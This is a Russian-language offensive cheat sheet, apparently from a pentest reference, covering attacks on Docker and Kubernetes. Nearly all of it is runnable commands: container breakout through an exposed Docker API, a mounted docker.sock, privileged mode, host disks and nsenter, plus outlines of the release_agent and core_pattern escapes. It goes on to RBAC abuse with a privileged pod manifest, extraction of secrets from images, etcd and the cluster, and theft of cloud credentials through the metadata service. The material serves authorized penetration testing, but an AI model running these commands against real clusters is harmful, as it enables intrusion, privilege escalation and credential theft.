ATTACKING CONTAINERS & K8S

# Высокоуровневый поток
external    → открытый Docker API / kubelet / registry / dashboard
foothold    → RCE в приложении → шелл внутри pod'а
recon       → кто я: SA-токен, capabilities, mounts, env, доступ к API
breakout    → побег из контейнера на узел (mount/cap/sock/CVE)
cluster     → RBAC abuse → secrets → service accounts → etcd
lateral     → pod→pod, узел→узел, доступ к control plane
cloud       → node IAM / IMDS → pivot в облачный аккаунт

# Я в контейнере? базовые маркеры
cat /proc/1/cgroup; ls -la /.dockerenv 2>/dev/null
# namespaces и capabilities текущего процесса
cat /proc/self/status | grep -i cap
capsh --print 2>/dev/null

# Опасные монтирования (docker.sock, hostPath, /proc хоста)
mount | grep -iE 'docker.sock|/host|/proc|/var/run'
cat /proc/mounts

# Признаки Kubernetes и SA-токен
env | grep -i kube
ls -la /var/run/secrets/kubernetes.io/serviceaccount/

# Проверка доступности API
curl -s http://TARGET:2375/version
docker -H tcp://TARGET:2375 info

# Эскалация: контейнер с примонтированной ФС хоста
docker -H tcp://TARGET:2375 run -v /:/host -it alpine chroot /host sh
# дальше — обычный шелл на узле

# Read-only порт: список pod'ов, env, иногда токены
curl -s http://TARGET:10255/pods | jq '.items[].metadata.name'

# kubelet 10250: список и exec (если auth отключён/слаб)
curl -sk https://TARGET:10250/pods
# exec в контейнер через kubelet
kubeletctl -i --server TARGET exec "id" -p POD -c CONTAINER -n NAMESPACE

# Сокет внутри контейнера?
ls -la /var/run/docker.sock

# Через сокет создаём контейнер с ФС хоста и выходим в chroot
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine \
  chroot /host sh

# Без docker-cli — напрямую по API через curl
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

# Признаки privileged: много capabilities, доступ к /dev хоста
capsh --print | grep -i cap_sys_admin
ls /dev | head        # видны диски хоста (sda, nvme...)

# Монтируем диск узла и читаем/пишем его ФС
fdisk -l
mount /dev/sda1 /mnt && chroot /mnt sh   # шелл на хосте

# Предусловие: CAP_SYS_ADMIN + запись в cgroup
# Идея (схема, не для слепого копипаста):
#  1) смонтировать cgroup rdma, включить notify_on_release
#  2) прописать release_agent на скрипт во временной точке
#  3) положить полезную команду в скрипт, дёрнуть пустой cgroup
#  -> ядро выполнит скрипт в namespace хоста
# Автоматизировано в CDK / amicontained / deepce (см. раздел 11)

# Предусловие: доступ к /proc/sys/kernel/core_pattern хоста на запись
cat /proc/sys/kernel/core_pattern
# при наличии записи core_pattern направляется на |/путь/к/хендлеру,
# который выполняется ядром в контексте хоста при core dump

# hostPID: видны процессы хоста -> nsenter в init узла
ps -ef | head
nsenter --target 1 --mount --uts --ipc --net --pid -- sh   # при привилегиях

# hostNetwork: доступ к loopback-сервисам узла (kubelet, metadata)
curl -s http://127.0.0.1:10255/pods

# История сборки часто содержит ARG/ENV с секретами
docker history --no-trunc IMAGE

# Разбор слоёв и поиск секретов
dive IMAGE                      # интерактивный обзор слоёв
docker save IMAGE -o img.tar && mkdir x && tar -xf img.tar -C x
grep -rEi 'api[_-]?key|secret|password|BEGIN .* PRIVATE KEY' x/

# Специализированные сканеры секретов по образу
trufflehog docker --image IMAGE

# Каталог образов
curl -s http://REG:5000/v2/_catalog | jq .
curl -s http://REG:5000/v2/IMAGE/tags/list

# Скачать манифест/слои для разбора
curl -s http://REG:5000/v2/IMAGE/manifests/latest \
  -H 'Accept: application/vnd.docker.distribution.manifest.v2+json'

# SA-токен монтируется автоматически (если не отключён)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API=https://kubernetes.default.svc

# Кто я (если есть kubectl)
kubectl auth whoami
# Что мне можно (ключевая команда рекона прав)
kubectl auth can-i --list

# Без kubectl — напрямую к API
curl -sk -H "Authorization: Bearer $TOKEN" $API/api/v1/namespaces/$NS/pods

# Anonymous-проба к API
curl -sk $API/api/v1/namespaces
curl -sk $API/version

# Что доступно анонимной роли
kubectl auth can-i --list --as=system:anonymous

# Свои права
kubectl auth can-i --list

# Все роли/привязки (если разрешено читать RBAC)
kubectl get clusterroles,roles,clusterrolebindings,rolebindings -A

# Автоматический разбор: кто что может
# rbac-police / kubiscan / krane — находят опасные комбинации
kubiscan -rs    # risky subjects

# 1) create pods -> привилегированный pod с hostPath: /
#    монтируем корень узла, читаем kubelet-токены/секреты соседей

# 2) get secrets -> токен привилегированного SA -> действуем им
kubectl get secret SA-TOKEN -o jsonpath='{.data.token}' | base64 -d

# 3) impersonate -> выполняем от имени cluster-admin
kubectl get secrets -A --as=system:serviceaccount:kube-system:PRIV-SA

# 4) bind/escalate -> привязываем cluster-admin своему SA

# Схема манифеста привилегированного pod'а (для авторизованной лабы)
# spec:
#   hostPID: true
#   containers:
#   - image: alpine
#     securityContext: { privileged: true }
#     volumeMounts: [{ name: host, mountPath: /host }]
#   volumes: [{ name: host, hostPath: { path: / } }]

# После запуска — chroot в ФС узла
kubectl exec -it priv-pod -- chroot /host sh

# Автоматизация: peirates умеет создавать такой pod из захваченного SA

# На узле токены лежат под kubelet
find /var/lib/kubelet/pods -name token 2>/dev/null
# каждый токен -> своя личность; прогоняем can-i по каждому
# ищем тот, у кого больше прав (привилегированный SA)

# Секреты namespace / всех namespace (при правах)
kubectl get secrets -A
kubectl get secret NAME -o jsonpath='{.data}' | jq 'map_values(@base64d)'

# Секреты в env и configmaps — частая утечка
kubectl get pods -A -o yaml | grep -iE 'password|token|key'
kubectl get configmaps -A -o yaml | grep -iE 'password|token|key'

# Если etcd доступен и есть клиентские сертификаты узла
ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 \
  --cacert=ca.crt --cert=client.crt --key=client.key \
  get / --prefix --keys-only | head

# Чтение секрета напрямую из etcd
ETCDCTL_API=3 etcdctl get /registry/secrets/NS/NAME

# Проверка, требует ли кластер подписанные образы
# (policy: cosign verify в admission). Если нет — подмена возможна.
cosign verify --key cosign.pub REGISTRY/IMAGE:TAG

# SBOM и аттестации — есть ли вообще provenance
cosign download sbom REGISTRY/IMAGE:TAG

# AWS IMDS (в лабе/своём аккаунте). IMDSv2 требует токен:
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP / Azure — свои эндпоинты метаданных
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/

# С добытыми кредами узла/pod'а — энумерация облачных прав
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name NODE-ROLE

# Дальше — как в облачном пентесте: privesc, доступ к ресурсам.
# Подробно — в ZavetSec Cloud & Identity Reference.

1. Scope     RoE, границы (узлы? облако? control plane?), окно, лимиты
2. Recon     открытые Docker API / kubelet / registry / dashboard / etcd
3. Foothold  шелл в pod'е (через приложение) либо доступ к API
4. Aware     кто я: SA-токен, can-i --list, caps, mounts, env
5. Breakout  дешёвые пути (sock/priv/host-mount) → затем cap/CVE
6. Cluster   RBAC abuse → secrets → привилегированные SA → etcd
7. Lateral   pod→pod, узел→узел, control plane
8. Cloud     node/pod IAM → IMDS → pivot (если в scope)
9. Report    PoC, влияние, ремедиация; cleanup всех созданных объектов